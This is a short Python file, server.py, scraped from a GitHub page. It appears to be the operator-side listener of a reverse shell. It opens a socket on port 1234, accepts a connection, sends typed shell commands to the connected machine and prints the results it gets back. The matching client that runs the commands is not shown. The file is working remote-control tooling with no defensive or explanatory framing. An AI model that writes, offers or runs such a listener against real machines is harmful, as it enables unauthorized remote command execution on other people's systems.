-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathserver.py
57 lines (50 loc) · 1.34 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# will be run in the server which has a static IP
import socket
import sys
def create_socket():
try:
global serverIP
global portNo
global s
serverIP = ""
portNo = 1234
print("Creating socket with machine IP: "+serverIP)
s = socket.socket()
except socket.error as err:
print("Error while creating socket: "+str(err))
def bind_socket():
try:
global serverIP
global portNo
global s
print("Binding socket...")
s.bind((serverIP, portNo))
s.listen(5)
except socket.error as err:
print("Error while binding socket: "+str(err))
def accept_socket():
global s
conn, address = s.accept()
print("Connected to: "+address[0]+":"+str(address[1]))
run_commands(conn)
s.close()
def run_commands(conn):
while True:
currPath = str(conn.recv(1024), "utf-8")
print(currPath, end="")
cmd = input()
if cmd == "exit":
conn.close()
sys.exit()
elif len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
resp = str(conn.recv(1024), "utf-8")
if resp == "no-output":
resp = ""
print(resp)
conn.send(str.encode("next"))
def main():
create_socket()
bind_socket()
accept_socket()
main()